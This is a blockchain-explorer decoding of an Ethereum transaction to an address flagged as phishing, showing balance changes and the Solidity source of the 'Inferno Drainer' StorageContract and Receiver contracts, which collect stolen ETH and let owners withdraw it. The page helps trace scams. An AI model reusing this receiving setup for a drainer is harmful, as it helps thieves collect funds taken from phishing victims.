ETH Price: $2,427.56 (-1.32%)

Transaction Decoder

Block:
21416417 at Dec-16-2024 04:56:47 PM +UTC
Transaction Fee:
0.002143719989659238 ETH $5.20
Gas Used:
45,841 Gas / 46.764250118 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x000037bB...826Ce0000
(Fake_Phishing188250)
18.15764909857015948 Eth18.197327500514684928 Eth0.039678401944525448
(beaverbuild)
11.330667215584711123 Eth11.33143868013263712 Eth0.000771464547925997
0xCAe7974F...61425A235
0.047 Eth
Nonce: 0
0.005177878065815314 Eth
Nonce: 1
0.041822121934184686

Execution Trace

ETH 0.039678401944525448 Fake_Phishing681155.CALL( )
  • StorageContract.CALL( )
  • StorageContract.CALL( )
  • ETH 0.039678401944525448 Receiver.CALL( )
    File 1 of 2: StorageContract
    // @mr_inferno_drainer / inferno drainer
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }

    File 2 of 2: Receiver
    // File: contracts/StorageContract.sol
    
    
    
    pragma solidity ^0.8.6;
    
    contract StorageContract {
        address public nativeCryptoReceiver;
        address[] public owners;
    
        constructor(address defaultNativeCryptoReceiver, address firstOwner) {
            nativeCryptoReceiver = defaultNativeCryptoReceiver;
            owners.push(firstOwner);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < owners.length; i++) {
                if (msg.sender == owners[i]) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        function addOwner(address newOwner) public onlyOwner {
            owners.push(newOwner);
        }
    
        function getOwners() public view returns (address[] memory) {
            return owners;
        }
    
        function removeOwner(address ownerToRemove) public onlyOwner {
            uint256 index = type(uint256).max;
    
            for (uint256 i = 0; i < owners.length; i++) {
                if (owners[i] == ownerToRemove) {
                    index = i;
                    break;
                }
            }
    
            require(index != type(uint256).max, "Owner not found");
            require(owners.length > 1, "Cannot remove the last owner");
    
            owners[index] = owners[owners.length - 1];
            owners.pop();
        }
    
        function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
            public
            onlyOwner
        {
            nativeCryptoReceiver = newNativeCryptoReceiver;
        }
    }
    
    // File: contracts/Receiver.sol
    
    
    pragma solidity ^0.8.4;
    
    
    contract Receiver {
        StorageContract storageContract;
    
        mapping(address => uint256) private balances;
    
        constructor(address storageContractAddress) {
            storageContract = StorageContract(storageContractAddress);
        }
    
        modifier onlyOwner() {
            bool isOwner = false;
            for (uint256 i = 0; i < storageContract.getOwners().length; i++) {
                if (msg.sender == storageContract.owners(i)) {
                    isOwner = true;
                    break;
                }
            }
            require(isOwner, "Caller is not an owner");
            _;
        }
    
        receive() external payable {}
    
        fallback() external payable {}
    
        function withdraw(uint256 amount, address recipient) public onlyOwner {
            require(
                amount <= address(this).balance,
                "Not enough balance in the contract"
            );
    
            (bool sent, ) = payable(recipient).call{value: amount}("");
            require(sent, "Fail");
        }
    
        function bulkWithdraw(uint256[] memory amounts, address[] memory recipients)
            public
            onlyOwner
        {
            require(
                amounts.length == recipients.length,
                "The amounts and recipients length mismatch"
            );
    
            for (uint256 i = 0; i < recipients.length; i++) {
                uint256 amount = amounts[i];
                address recipient = recipients[i];
    
                require(
                    amount <= address(this).balance,
                    "Not enough balance in the contract"
                );
    
                (bool sent, ) = payable(recipient).call{value: amount}("");
                require(sent, "Fail");
            }
        }
    }